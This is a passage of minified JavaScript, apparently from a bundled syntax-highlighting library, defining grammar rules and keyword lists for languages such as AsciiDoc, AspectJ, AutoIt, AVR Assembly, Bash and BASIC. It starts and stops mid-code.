className:"tag",begin:g1A(/<\//,Gw8(g1A(K,/>/))),contains:[{className:"name",begin:K,relevance:0},{begin:/>/,relevance:0,endsParent:!0}]}]}}Ww8.exports=bjq});var Pw8=v((aEz,Mw8)=>{function xjq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function jw8(...A){return A.map((q)=>xjq(q)).join("")}function ujq(A){let K={begin:"^'{3,}[ \\t]*$",relevance:10},q=[{begin:/\\[*_`]/},{begin:/\\\\\*{2}[^\n]*?\*{2}/},{begin:/\\\\_{2}[^\n]*_{2}/},{begin:/\\\\`{2}[^\n]*`{2}/},{begin:/[:;}][*_`](?![*_`])/}],Y=[{className:"strong",begin:/\*{2}([^\n]+?)\*{2}/},{className:"strong",begin:jw8(/\*\*/,/((\*(?!\*)|\\[^\n]|[^*\n\\])+\n)+/,/(\*(?!\*)|\\[^\n]|[^*\n\\])*/,/\*\*/),relevance:0},{className:"strong",begin:/\B\*(\S|\S[^\n]*?\S)\*(?!\w)/},{className:"strong",begin:/\*[^\s]([^\n]+\n)+([^\n]+)\*/}],z=[{className:"emphasis",begin:/_{2}([^\n]+?)_{2}/},{className:"emphasis",begin:jw8(/__/,/((_(?!_)|\\[^\n]|[^_\n\\])+\n)+/,/(_(?!_)|\\[^\n]|[^_\n\\])*/,/__/),relevance:0},{className:"emphasis",begin:/\b_(\S|\S[^\n]*?\S)_(?!\w)/},{className:"emphasis",begin:/_[^\s]([^\n]+\n)+([^\n]+)_/},{className:"emphasis",begin:"\\B'(?!['\\s])",end:"(\\n{2}|')",contains:[{begin:"\\\\'\\w",relevance:0}],relevance:0}],w={className:"symbol",begin:"^(NOTE|TIP|IMPORTANT|WARNING|CAUTION):\\s+",relevance:10},H={className:"bullet",begin:"^(\\*+|-+|\\.+|[^\\n]+?::)\\s+"};return{name:"AsciiDoc",aliases:["adoc"],contains:[A.COMMENT("^/{4,}\\n","\\n/{4,}$",{relevance:10}),A.COMMENT("^//","$",{relevance:0}),{className:"title",begin:"^\\.\\w.*$"},{begin:"^[=\\*]{4,}\\n",end:"\\n^[=\\*]{4,}$",relevance:10},{className:"section",relevance:10,variants:[{begin:"^(={1,6})[ \t].+?([ \t]\\1)?$"},{begin:"^[^\\[\\]\\n]+?\\n[=\\-~\\^\\+]{2,}$"}]},{className:"meta",begin:"^:.+?:",end:"\\s",excludeEnd:!0,relevance:10},{className:"meta",begin:"^\\[.+?\\]$",relevance:0},{className:"quote",begin:"^_{4,}\\n",end:"\\n_{4,}$",relevance:10},{className:"code",begin:"^[\\-\\.]{4,}\\n",end:"\\n[\\-\\.]{4,}$",relevance:10},{begin:"^\\+{4,}\\n",end:"\\n\\+{4,}$",contains:[{begin:"<",end:">",subLanguage:"xml",relevance:0}],relevance:10},H,w,...q,...Y,...z,{className:"string",variants:[{begin:"``.+?''"},{begin:"`.+?'"}]},{className:"code",begin:/`{2}/,end:/(\n{2}|`{2})/},{className:"code",begin:"(`.+?`|\\+.+?\\+)",relevance:0},{className:"code",begin:"^[ \\t]",end:"$",relevance:0},K,{begin:"(link:)?(http|https|ftp|file|irc|image:?):\\S+?\\[[^[]*?\\]",returnBegin:!0,contains:[{begin:"(link|image:?):",relevance:0},{className:"link",begin:"\\w",end:"[^\\[]+",relevance:0},{className:"string",begin:"\\[",end:"\\]",excludeBegin:!0,excludeEnd:!0,relevance:0}],relevance:10}]}}Mw8.exports=ujq});var fw8=v((sEz,Vw8)=>{function Bjq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function Jx1(...A){return A.map((q)=>Bjq(q)).join("")}function mjq(A){let K="false synchronized int abstract float private char boolean static null if const for true while long throw strictfp finally protected import native final return void enum else extends implements break transient new catch instanceof byte super volatile case assert short package default double public try this switch continue throws privileged aspectOf adviceexecution proceed cflowbelow cflow initialization preinitialization staticinitialization withincode target within execution getWithinTypeName handler thisJoinPoint thisJoinPointStaticPart thisEnclosingJoinPointStaticPart declare parents warning error soft precedence thisAspectInstance",q="get set args call";return{name:"AspectJ",keywords:K,illegal:/<\/|#/,contains:[A.COMMENT(/\/\*\*/,/\*\//,{relevance:0,contains:[{begin:/\w+@/,relevance:0},{className:"doctag",begin:/@[A-Za-z]+/}]}),A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,{className:"class",beginKeywords:"aspect",end:/[{;=]/,excludeEnd:!0,illegal:/[:;"\[\]]/,contains:[{beginKeywords:"extends implements pertypewithin perthis pertarget percflowbelow percflow issingleton"},A.UNDERSCORE_TITLE_MODE,{begin:/\([^\)]*/,end:/[)]+/,keywords:K+" get set args call",excludeEnd:!1}]},{className:"class",beginKeywords:"class interface",end:/[{;=]/,excludeEnd:!0,relevance:0,keywords:"class interface",illegal:/[:"\[\]]/,contains:[{beginKeywords:"extends implements"},A.UNDERSCORE_TITLE_MODE]},{beginKeywords:"pointcut after before around throwing returning",end:/[)]/,excludeEnd:!1,illegal:/["\[\]]/,contains:[{begin:Jx1(A.UNDERSCORE_IDENT_RE,/\s*\(/),returnBegin:!0,contains:[A.UNDERSCORE_TITLE_MODE]}]},{begin:/[:]/,returnBegin:!0,end:/[{;]/,relevance:0,excludeEnd:!1,keywords:K,illegal:/["\[\]]/,contains:[{begin:Jx1(A.UNDERSCORE_IDENT_RE,/\s*\(/),keywords:K+" get set args call",relevance:0},A.QUOTE_STRING_MODE]},{beginKeywords:"new throw",relevance:0},{className:"function",begin:/\w+ +\w+(\.\w+)?\s*\([^\)]*\)\s*((throws)[\w\s,]+)?[\{;]/,returnBegin:!0,end:/[{;=]/,keywords:K,excludeEnd:!0,contains:[{begin:Jx1(A.UNDERSCORE_IDENT_RE,/\s*\(/),returnBegin:!0,relevance:0,contains:[A.UNDERSCORE_TITLE_MODE]},{className:"params",begin:/\(/,end:/\)/,relevance:0,keywords:K,contains:[A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,A.C_NUMBER_MODE,A.C_BLOCK_COMMENT_MODE]},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE]},A.C_NUMBER_MODE,{className:"meta",begin:/@[A-Za-z]+/}]}}Vw8.exports=mjq});var Tw8=v((tEz,Nw8)=>{function gjq(A){let K={begin:"`[\\s\\S]"};return{name:"AutoHotkey",case_insensitive:!0,aliases:["ahk"],keywords:{keyword:"Break Continue Critical Exit ExitApp Gosub Goto New OnExit Pause return SetBatchLines SetTimer Suspend Thread Throw Until ahk_id ahk_class ahk_pid ahk_exe ahk_group",literal:"true false NOT AND OR",built_in:"ComSpec Clipboard ClipboardAll ErrorLevel"},contains:[K,A.inherit(A.QUOTE_STRING_MODE,{contains:[K]}),A.COMMENT(";","$",{relevance:0}),A.C_BLOCK_COMMENT_MODE,{className:"number",begin:A.NUMBER_RE,relevance:0},{className:"variable",begin:"%[a-zA-Z0-9#_$@]+%"},{className:"built_in",begin:"^\\s*\\w+\\s*(,|%)"},{className:"title",variants:[{begin:'^[^\\n";]+::(?!=)'},{begin:'^[^\\n";]+:(?!=)',relevance:0}]},{className:"meta",begin:"^\\s*#\\w+",end:"$",relevance:0},{className:"built_in",begin:"A_[a-zA-Z0-9]+"},{begin:",\\s*,"}]}}Nw8.exports=gjq});var Ew8=v((eEz,vw8)=>{function Fjq(A){let K="ByRef Case Const ContinueCase ContinueLoop Dim Do Else ElseIf EndFunc EndIf EndSelect EndSwitch EndWith Enum Exit ExitLoop For Func Global If In Local Next ReDim Return Select Static Step Switch Then To Until Volatile WEnd While With",q=["EndRegion","forcedef","forceref","ignorefunc","include","include-once","NoTrayIcon","OnAutoItStartRegister","pragma","Region","RequireAdmin","Tidy_Off","Tidy_On","Tidy_Parameters"],Y="True False And Null Not Or Default",z="Abs ACos AdlibRegister AdlibUnRegister Asc AscW ASin Assign ATan AutoItSetOption AutoItWinGetTitle AutoItWinSetTitle Beep Binary BinaryLen BinaryMid BinaryToString BitAND BitNOT BitOR BitRotate BitShift BitXOR BlockInput Break Call CDTray Ceiling Chr ChrW ClipGet ClipPut ConsoleRead ConsoleWrite ConsoleWriteError ControlClick ControlCommand ControlDisable ControlEnable ControlFocus ControlGetFocus ControlGetHandle ControlGetPos ControlGetText ControlHide ControlListView ControlMove ControlSend ControlSetText ControlShow ControlTreeView Cos Dec DirCopy DirCreate DirGetSize DirMove DirRemove DllCall DllCallAddress DllCallbackFree DllCallbackGetPtr DllCallbackRegister DllClose DllOpen DllStructCreate DllStructGetData DllStructGetPtr DllStructGetSize DllStructSetData DriveGetDrive DriveGetFileSystem DriveGetLabel DriveGetSerial DriveGetType DriveMapAdd DriveMapDel DriveMapGet DriveSetLabel DriveSpaceFree DriveSpaceTotal DriveStatus EnvGet EnvSet EnvUpdate Eval Execute Exp FileChangeDir FileClose FileCopy FileCreateNTFSLink FileCreateShortcut FileDelete FileExists FileFindFirstFile FileFindNextFile FileFlush FileGetAttrib FileGetEncoding FileGetLongName FileGetPos FileGetShortcut FileGetShortName FileGetSize FileGetTime FileGetVersion FileInstall FileMove FileOpen FileOpenDialog FileRead FileReadLine FileReadToArray FileRecycle FileRecycleEmpty FileSaveDialog FileSelectFolder FileSetAttrib FileSetEnd FileSetPos FileSetTime FileWrite FileWriteLine Floor FtpSetProxy FuncName GUICreate GUICtrlCreateAvi GUICtrlCreateButton GUICtrlCreateCheckbox GUICtrlCreateCombo GUICtrlCreateContextMenu GUICtrlCreateDate GUICtrlCreateDummy GUICtrlCreateEdit GUICtrlCreateGraphic GUICtrlCreateGroup GUICtrlCreateIcon GUICtrlCreateInput GUICtrlCreateLabel GUICtrlCreateList GUICtrlCreateListView GUICtrlCreateListViewItem GUICtrlCreateMenu GUICtrlCreateMenuItem GUICtrlCreateMonthCal GUICtrlCreateObj GUICtrlCreatePic GUICtrlCreateProgress GUICtrlCreateRadio GUICtrlCreateSlider GUICtrlCreateTab GUICtrlCreateTabItem GUICtrlCreateTreeView GUICtrlCreateTreeViewItem GUICtrlCreateUpdown GUICtrlDelete GUICtrlGetHandle GUICtrlGetState GUICtrlRead GUICtrlRecvMsg GUICtrlRegisterListViewSort GUICtrlSendMsg GUICtrlSendToDummy GUICtrlSetBkColor GUICtrlSetColor GUICtrlSetCursor GUICtrlSetData GUICtrlSetDefBkColor GUICtrlSetDefColor GUICtrlSetFont GUICtrlSetGraphic GUICtrlSetImage GUICtrlSetLimit GUICtrlSetOnEvent GUICtrlSetPos GUICtrlSetResizing GUICtrlSetState GUICtrlSetStyle GUICtrlSetTip GUIDelete GUIGetCursorInfo GUIGetMsg GUIGetStyle GUIRegisterMsg GUISetAccelerators GUISetBkColor GUISetCoord GUISetCursor GUISetFont GUISetHelp GUISetIcon GUISetOnEvent GUISetState GUISetStyle GUIStartGroup GUISwitch Hex HotKeySet HttpSetProxy HttpSetUserAgent HWnd InetClose InetGet InetGetInfo InetGetSize InetRead IniDelete IniRead IniReadSection IniReadSectionNames IniRenameSection IniWrite IniWriteSection InputBox Int IsAdmin IsArray IsBinary IsBool IsDeclared IsDllStruct IsFloat IsFunc IsHWnd IsInt IsKeyword IsNumber IsObj IsPtr IsString Log MemGetStats Mod MouseClick MouseClickDrag MouseDown MouseGetCursor MouseGetPos MouseMove MouseUp MouseWheel MsgBox Number ObjCreate ObjCreateInterface ObjEvent ObjGet ObjName OnAutoItExitRegister OnAutoItExitUnRegister Ping PixelChecksum PixelGetColor PixelSearch ProcessClose ProcessExists ProcessGetStats ProcessList ProcessSetPriority ProcessWait ProcessWaitClose ProgressOff ProgressOn ProgressSet Ptr Random RegDelete RegEnumKey RegEnumVal RegRead RegWrite Round Run RunAs RunAsWait RunWait Send SendKeepActive SetError SetExtended ShellExecute ShellExecuteWait Shutdown Sin Sleep SoundPlay SoundSetWaveVolume SplashImageOn SplashOff SplashTextOn Sqrt SRandom StatusbarGetText StderrRead StdinWrite StdioClose StdoutRead String StringAddCR StringCompare StringFormat StringFromASCIIArray StringInStr StringIsAlNum StringIsAlpha StringIsASCII StringIsDigit StringIsFloat StringIsInt StringIsLower StringIsSpace StringIsUpper StringIsXDigit StringLeft StringLen StringLower StringMid StringRegExp StringRegExpReplace StringReplace StringReverse StringRight StringSplit StringStripCR StringStripWS StringToASCIIArray StringToBinary StringTrimLeft StringTrimRight StringUpper Tan TCPAccept TCPCloseSocket TCPConnect TCPListen TCPNameToIP TCPRecv TCPSend TCPShutdown, UDPShutdown TCPStartup, UDPStartup TimerDiff TimerInit ToolTip TrayCreateItem TrayCreateMenu TrayGetMsg TrayItemDelete TrayItemGetHandle TrayItemGetState TrayItemGetText TrayItemSetOnEvent TrayItemSetState TrayItemSetText TraySetClick TraySetIcon TraySetOnEvent TraySetPauseIcon TraySetState TraySetToolTip TrayTip UBound UDPBind UDPCloseSocket UDPOpen UDPRecv UDPSend VarGetType WinActivate WinActive WinClose WinExists WinFlash WinGetCaretPos WinGetClassList WinGetClientSize WinGetHandle WinGetPos WinGetProcess WinGetState WinGetText WinGetTitle WinKill WinList WinMenuSelectItem WinMinimizeAll WinMinimizeAllUndo WinMove WinSetOnTop WinSetState WinSetTitle WinSetTrans WinWait WinWaitActive WinWaitClose WinWaitNotActive",w={variants:[A.COMMENT(";","$",{relevance:0}),A.COMMENT("#cs","#ce"),A.COMMENT("#comments-start","#comments-end")]},H={begin:"\\$[A-z0-9_]+"},J={className:"string",variants:[{begin:/"/,end:/"/,contains:[{begin:/""/,relevance:0}]},{begin:/'/,end:/'/,contains:[{begin:/''/,relevance:0}]}]},O={variants:[A.BINARY_NUMBER_MODE,A.C_NUMBER_MODE]},X={className:"meta",begin:"#",end:"$",keywords:{"meta-keyword":q},contains:[{begin:/\\\n/,relevance:0},{beginKeywords:"include",keywords:{"meta-keyword":"include"},end:"$",contains:[J,{className:"meta-string",variants:[{begin:"<",end:">"},{begin:/"/,end:/"/,contains:[{begin:/""/,relevance:0}]},{begin:/'/,end:/'/,contains:[{begin:/''/,relevance:0}]}]}]},J,w]},$={className:"symbol",begin:"@[A-z0-9_]+"},_={className:"function",beginKeywords:"Func",end:"$",illegal:"\\$|\\[|%",contains:[A.UNDERSCORE_TITLE_MODE,{className:"params",begin:"\\(",end:"\\)",contains:[H,J,O]}]};return{name:"AutoIt",case_insensitive:!0,illegal:/\/\*/,keywords:{keyword:K,built_in:"Abs ACos AdlibRegister AdlibUnRegister Asc AscW ASin Assign ATan AutoItSetOption AutoItWinGetTitle AutoItWinSetTitle Beep Binary BinaryLen BinaryMid BinaryToString BitAND BitNOT BitOR BitRotate BitShift BitXOR BlockInput Break Call CDTray Ceiling Chr ChrW ClipGet ClipPut ConsoleRead ConsoleWrite ConsoleWriteError ControlClick ControlCommand ControlDisable ControlEnable ControlFocus ControlGetFocus ControlGetHandle ControlGetPos ControlGetText ControlHide ControlListView ControlMove ControlSend ControlSetText ControlShow ControlTreeView Cos Dec DirCopy DirCreate DirGetSize DirMove DirRemove DllCall DllCallAddress DllCallbackFree DllCallbackGetPtr DllCallbackRegister DllClose DllOpen DllStructCreate DllStructGetData DllStructGetPtr DllStructGetSize DllStructSetData DriveGetDrive DriveGetFileSystem DriveGetLabel DriveGetSerial DriveGetType DriveMapAdd DriveMapDel DriveMapGet DriveSetLabel DriveSpaceFree DriveSpaceTotal DriveStatus EnvGet EnvSet EnvUpdate Eval Execute Exp FileChangeDir FileClose FileCopy FileCreateNTFSLink FileCreateShortcut FileDelete FileExists FileFindFirstFile FileFindNextFile FileFlush FileGetAttrib FileGetEncoding FileGetLongName FileGetPos FileGetShortcut FileGetShortName FileGetSize FileGetTime FileGetVersion FileInstall FileMove FileOpen FileOpenDialog FileRead FileReadLine FileReadToArray FileRecycle FileRecycleEmpty FileSaveDialog FileSelectFolder FileSetAttrib FileSetEnd FileSetPos FileSetTime FileWrite FileWriteLine Floor FtpSetProxy FuncName GUICreate GUICtrlCreateAvi GUICtrlCreateButton GUICtrlCreateCheckbox GUICtrlCreateCombo GUICtrlCreateContextMenu GUICtrlCreateDate GUICtrlCreateDummy GUICtrlCreateEdit GUICtrlCreateGraphic GUICtrlCreateGroup GUICtrlCreateIcon GUICtrlCreateInput GUICtrlCreateLabel GUICtrlCreateList GUICtrlCreateListView GUICtrlCreateListViewItem GUICtrlCreateMenu GUICtrlCreateMenuItem GUICtrlCreateMonthCal GUICtrlCreateObj GUICtrlCreatePic GUICtrlCreateProgress GUICtrlCreateRadio GUICtrlCreateSlider GUICtrlCreateTab GUICtrlCreateTabItem GUICtrlCreateTreeView GUICtrlCreateTreeViewItem GUICtrlCreateUpdown GUICtrlDelete GUICtrlGetHandle GUICtrlGetState GUICtrlRead GUICtrlRecvMsg GUICtrlRegisterListViewSort GUICtrlSendMsg GUICtrlSendToDummy GUICtrlSetBkColor GUICtrlSetColor GUICtrlSetCursor GUICtrlSetData GUICtrlSetDefBkColor GUICtrlSetDefColor GUICtrlSetFont GUICtrlSetGraphic GUICtrlSetImage GUICtrlSetLimit GUICtrlSetOnEvent GUICtrlSetPos GUICtrlSetResizing GUICtrlSetState GUICtrlSetStyle GUICtrlSetTip GUIDelete GUIGetCursorInfo GUIGetMsg GUIGetStyle GUIRegisterMsg GUISetAccelerators GUISetBkColor GUISetCoord GUISetCursor GUISetFont GUISetHelp GUISetIcon GUISetOnEvent GUISetState GUISetStyle GUIStartGroup GUISwitch Hex HotKeySet HttpSetProxy HttpSetUserAgent HWnd InetClose InetGet InetGetInfo InetGetSize InetRead IniDelete IniRead IniReadSection IniReadSectionNames IniRenameSection IniWrite IniWriteSection InputBox Int IsAdmin IsArray IsBinary IsBool IsDeclared IsDllStruct IsFloat IsFunc IsHWnd IsInt IsKeyword IsNumber IsObj IsPtr IsString Log MemGetStats Mod MouseClick MouseClickDrag MouseDown MouseGetCursor MouseGetPos MouseMove MouseUp MouseWheel MsgBox Number ObjCreate ObjCreateInterface ObjEvent ObjGet ObjName OnAutoItExitRegister OnAutoItExitUnRegister Ping PixelChecksum PixelGetColor PixelSearch ProcessClose ProcessExists ProcessGetStats ProcessList ProcessSetPriority ProcessWait ProcessWaitClose ProgressOff ProgressOn ProgressSet Ptr Random RegDelete RegEnumKey RegEnumVal RegRead RegWrite Round Run RunAs RunAsWait RunWait Send SendKeepActive SetError SetExtended ShellExecute ShellExecuteWait Shutdown Sin Sleep SoundPlay SoundSetWaveVolume SplashImageOn SplashOff SplashTextOn Sqrt SRandom StatusbarGetText StderrRead StdinWrite StdioClose StdoutRead String StringAddCR StringCompare StringFormat StringFromASCIIArray StringInStr StringIsAlNum StringIsAlpha StringIsASCII StringIsDigit StringIsFloat StringIsInt StringIsLower StringIsSpace StringIsUpper StringIsXDigit StringLeft StringLen StringLower StringMid StringRegExp StringRegExpReplace StringReplace StringReverse StringRight StringSplit StringStripCR StringStripWS StringToASCIIArray StringToBinary StringTrimLeft StringTrimRight StringUpper Tan TCPAccept TCPCloseSocket TCPConnect TCPListen TCPNameToIP TCPRecv TCPSend TCPShutdown, UDPShutdown TCPStartup, UDPStartup TimerDiff TimerInit ToolTip TrayCreateItem TrayCreateMenu TrayGetMsg TrayItemDelete TrayItemGetHandle TrayItemGetState TrayItemGetText TrayItemSetOnEvent TrayItemSetState TrayItemSetText TraySetClick TraySetIcon TraySetOnEvent TraySetPauseIcon TraySetState TraySetToolTip TrayTip UBound UDPBind UDPCloseSocket UDPOpen UDPRecv UDPSend VarGetType WinActivate WinActive WinClose WinExists WinFlash WinGetCaretPos WinGetClassList WinGetClientSize WinGetHandle WinGetPos WinGetProcess WinGetState WinGetText WinGetTitle WinKill WinList WinMenuSelectItem WinMinimizeAll WinMinimizeAllUndo WinMove WinSetOnTop WinSetState WinSetTitle WinSetTrans WinWait WinWaitActive WinWaitClose WinWaitNotActive",literal:"True False And Null Not Or Default"},contains:[w,H,J,O,X,$,_]}}vw8.exports=Fjq});var Cw8=v((Akz,kw8)=>{function Qjq(A){return{name:"AVR Assembly",case_insensitive:!0,keywords:{$pattern:"\\.?"+A.IDENT_RE,keyword:"adc add adiw and andi asr bclr bld brbc brbs brcc brcs break breq brge brhc brhs brid brie brlo brlt brmi brne brpl brsh brtc brts brvc brvs bset bst call cbi cbr clc clh cli cln clr cls clt clv clz com cp cpc cpi cpse dec eicall eijmp elpm eor fmul fmuls fmulsu icall ijmp in inc jmp ld ldd ldi lds lpm lsl lsr mov movw mul muls mulsu neg nop or ori out pop push rcall ret reti rjmp rol ror sbc sbr sbrc sbrs sec seh sbi sbci sbic sbis sbiw sei sen ser ses set sev sez sleep spm st std sts sub subi swap tst wdr",built_in:"r0 r1 r2 r3 r4 r5 r6 r7 r8 r9 r10 r11 r12 r13 r14 r15 r16 r17 r18 r19 r20 r21 r22 r23 r24 r25 r26 r27 r28 r29 r30 r31 x|0 xh xl y|0 yh yl z|0 zh zl ucsr1c udr1 ucsr1a ucsr1b ubrr1l ubrr1h ucsr0c ubrr0h tccr3c tccr3a tccr3b tcnt3h tcnt3l ocr3ah ocr3al ocr3bh ocr3bl ocr3ch ocr3cl icr3h icr3l etimsk etifr tccr1c ocr1ch ocr1cl twcr twdr twar twsr twbr osccal xmcra xmcrb eicra spmcsr spmcr portg ddrg ping portf ddrf sreg sph spl xdiv rampz eicrb eimsk gimsk gicr eifr gifr timsk tifr mcucr mcucsr tccr0 tcnt0 ocr0 assr tccr1a tccr1b tcnt1h tcnt1l ocr1ah ocr1al ocr1bh ocr1bl icr1h icr1l tccr2 tcnt2 ocr2 ocdr wdtcr sfior eearh eearl eedr eecr porta ddra pina portb ddrb pinb portc ddrc pinc portd ddrd pind spdr spsr spcr udr0 ucsr0a ucsr0b ubrr0l acsr admux adcsr adch adcl porte ddre pine pinf",meta:".byte .cseg .db .def .device .dseg .dw .endmacro .equ .eseg .exit .include .list .listmac .macro .nolist .org .set"},contains:[A.C_BLOCK_COMMENT_MODE,A.COMMENT(";","$",{relevance:0}),A.C_NUMBER_MODE,A.BINARY_NUMBER_MODE,{className:"number",begin:"\\b(\\$[a-zA-Z0-9]+|0o[0-7]+)"},A.QUOTE_STRING_MODE,{className:"string",begin:"'",end:"[^\\\\]'",illegal:"[^\\\\][^']"},{className:"symbol",begin:"^[A-Za-z0-9_.$]+:"},{className:"meta",begin:"#",end:"$"},{className:"subst",begin:"@[0-9]+"}]}}kw8.exports=Qjq});var Rw8=v((Kkz,Lw8)=>{function Ujq(A){let K={className:"variable",variants:[{begin:/\$[\w\d#@][\w\d_]*/},{begin:/\$\{(.*?)\}/}]},q="BEGIN END if else while do for in break continue delete next nextfile function func exit|10",Y={className:"string",contains:[A.BACKSLASH_ESCAPE],variants:[{begin:/(u|b)?r?'''/,end:/'''/,relevance:10},{begin:/(u|b)?r?"""/,end:/"""/,relevance:10},{begin:/(u|r|ur)'/,end:/'/,relevance:10},{begin:/(u|r|ur)"/,end:/"/,relevance:10},{begin:/(b|br)'/,end:/'/},{begin:/(b|br)"/,end:/"/},A.APOS_STRING_MODE,A.QUOTE_STRING_MODE]};return{name:"Awk",keywords:{keyword:"BEGIN END if else while do for in break continue delete next nextfile function func exit|10"},contains:[K,Y,A.REGEXP_MODE,A.HASH_COMMENT_MODE,A.NUMBER_MODE]}}Lw8.exports=Ujq});var Iw8=v((qkz,yw8)=>{function pjq(A){return{name:"X++",aliases:["x++"],keywords:{keyword:["abstract","as","asc","avg","break","breakpoint","by","byref","case","catch","changecompany","class","client","client","common","const","continue","count","crosscompany","delegate","delete_from","desc","display","div","do","edit","else","eventhandler","exists","extends","final","finally","firstfast","firstonly","firstonly1","firstonly10","firstonly100","firstonly1000","flush","for","forceliterals","forcenestedloop","forceplaceholders","forceselectorder","forupdate","from","generateonly","group","hint","if","implements","in","index","insert_recordset","interface","internal","is","join","like","maxof","minof","mod","namespace","new","next","nofetch","notexists","optimisticlock","order","outer","pessimisticlock","print","private","protected","public","readonly","repeatableread","retry","return","reverse","select","server","setting","static","sum","super","switch","this","throw","try","ttsabort","ttsbegin","ttscommit","unchecked","update_recordset","using","validtimestate","void","where","while"],built_in:["anytype","boolean","byte","char","container","date","double","enum","guid","int","int64","long","real","short","str","utcdatetime","var"],literal:["default","false","null","true"]},contains:[A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE,A.C_NUMBER_MODE,{className:"meta",begin:"#",end:"$"},{className:"class",beginKeywords:"class interface",end:/\{/,excludeEnd:!0,illegal:":",contains:[{beginKeywords:"extends implements"},A.UNDERSCORE_TITLE_MODE]}]}}yw8.exports=pjq});var hw8=v((Ykz,Sw8)=>{function djq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function cjq(...A){return A.map((q)=>djq(q)).join("")}function ljq(A){let K={},q={begin:/\$\{/,end:/\}/,contains:["self",{begin:/:-/,contains:[K]}]};Object.assign(K,{className:"variable",variants:[{begin:cjq(/\$[\w\d#@][\w\d_]*/,"(?![\\w\\d])(?![$])")},q]});let Y={className:"subst",begin:/\$\(/,end:/\)/,contains:[A.BACKSLASH_ESCAPE]},z={begin:/<<-?\s*(?=\w+)/,starts:{contains:[A.END_SAME_AS_BEGIN({begin:/(\w+)/,end:/(\w+)/,className:"string"})]}},w={className:"string",begin:/"/,end:/"/,contains:[A.BACKSLASH_ESCAPE,K,Y]};Y.contains.push(w);let H={className:"",begin:/\\"/},J={className:"string",begin:/'/,end:/'/},O={begin:/\$\(\(/,end:/\)\)/,contains:[{begin:/\d+#[0-9a-f]+/,className:"number"},A.NUMBER_MODE,K]},X=["fish","bash","zsh","sh","csh","ksh","tcsh","dash","scsh"],$=A.SHEBANG({binary:`(${X.join("|")})`,relevance:10}),_={className:"function",begin:/\w[\w\d_]*\s*\(\s*\)\s*\{/,returnBegin:!0,contains:[A.inherit(A.TITLE_MODE,{begin:/\w[\w\d_]*/})],relevance:0};return{name:"Bash",aliases:["sh","zsh"],keywords:{$pattern:/\b[a-z._-]+\b/,keyword:"if then else elif fi for while in do done case esac function",literal:"true false",built_in:"break cd continue eval exec exit export getopts hash pwd readonly return shift test times trap umask unset alias bind builtin caller command declare echo enable help let local logout mapfile printf read readarray source type typeset ulimit unalias set shopt autoload bg bindkey bye cap chdir clone comparguments compcall compctl compdescribe compfiles compgroups compquote comptags comptry compvalues dirs disable disown echotc echoti emulate fc fg float functions getcap getln history integer jobs kill limit log noglob popd print pushd pushln rehash sched setcap setopt stat suspend ttyctl unfunction unhash unlimit unsetopt vared wait whence where which zcompile zformat zftp zle zmodload zparseopts zprof zpty zregexparse zsocket zstyle ztcp"},contains:[$,A.SHEBANG(),_,O,A.HASH_COMMENT_MODE,z,w,H,J,K]}}Sw8.exports=ljq});var xw8=v((zkz,bw8)=>{function ijq(A){return{name:"BASIC",case_insensitive:!0,illegal:"^.",keywords:{$pattern:"[a-zA-Z][a-zA-Z0-9_$%!#]*",keyword:"ABS ASC AND ATN AUTO|0 BEEP BLOAD|10 BSAVE|10 CALL CALLS CDBL CHAIN CHDIR CHR$|10 CINT CIRCLE CLEAR CLOSE CLS COLOR COM COMMON CONT COS CSNG CSRLIN CVD CVI CVS DATA DATE$ DEFDBL DEFINT DEFSNG DEFSTR DEF|0 SEG USR DELETE DIM DRAW EDIT END ENVIRON ENVIRON$ EOF EQV ERASE ERDEV ERDEV$ ERL ERR ERROR EXP FIELD FILES FIX FOR|0 FRE GET GOSUB|10 GOTO HEX$ IF THEN ELSE|0 INKEY$ INP INPUT INPUT# INPUT$ INSTR IMP INT IOCTL IOCTL$ KEY ON OFF LIST KILL LEFT$ LEN LET LINE LLIST LOAD LOC LOCATE LOF LOG LPRINT USING LSET MERGE MID$ MKDIR MKD$ MKI$ MKS$ MOD NAME NEW NEXT NOISE NOT OCT$ ON OR PEN PLAY STRIG OPEN OPTION BASE OUT PAINT PALETTE PCOPY PEEK PMAP POINT POKE POS PRINT PRINT] PSET PRESET PUT RANDOMIZE READ REM RENUM RESET|0 RESTORE RESUME RETURN|0 RIGHT$ RMDIR RND RSET RUN SAVE SCREEN SGN SHELL SIN SOUND SPACE$ SPC SQR STEP STICK STOP STR$ STRING$ SWAP SYSTEM TAB TAN TIME$ TIMER TROFF TRON TO USR VAL VARPTR VARPTR$ VIEW WAIT WHILE WEND WIDTH WINDOW WRITE XOR"},contains:[A.QUOTE_STRING_MODE,A.COMMENT("REM","$",{relevance:10}),A.COMMENT("'","$",{relevance:0}),{className:"symbol",begin:"^[0-9]+ ",relevance:10},{className:"number",begin:"\\b\\d+(\\.\\d+)?([edED]\\d+)?[#!]?",relevance:0},{className:"number",begin:"(&[hH][0-9a-fA-F]{1,4})"},{className:"number",begin:"(&[oO][0-7]{1,6})"}]}}bw8.exports=ijq});var Bw8=v((wkz,uw8)=>{function njq(A){return{name:"Backus–Naur Form",contains:[{className:"attribute",begin:/</,end:/>/},{begin:/::=/,end:/$/,contains:[{begin:/</,end:/>/},A.C_LINE_COMMENT_MODE,A.C_BLOCK_COMMENT_MODE,A.APOS_STRING_MODE,A.QUOTE_STRING_MODE]}]}}uw8.exports=njq});var gw8=v((Hkz,mw8)=>{function rjq(A){let K={className:"literal",begin:/[+-]/,relevance:0};return{name:"Brainfuck",aliases:["bf"],contains:[A.COMMENT(`[^\\[\\]\\.,\\+\\-<> \r ]`,`[\\[\\]\\.,\\+\\-<> \r ]`,{returnEnd:!0,relevance:0}),{className:"title",begin:"[\\[\\]]",relevance:0},{className:"string",begin:"[\\.,]",relevance:0},{begin:/(?:\+\+|--)/,contains:[K]},K]}}mw8.exports=rjq});var Qw8=v((Jkz,Fw8)=>{function ojq(A){if(!A)return null;if(typeof A==="string")return A;return A.source}function ajq(A){return Ox1("(?=",A,")")}function DaA(A){return Ox1("(",A,")?")}function Ox1(...A){return A.map((q)=>ojq(q)).join("")}function sjq(A){let 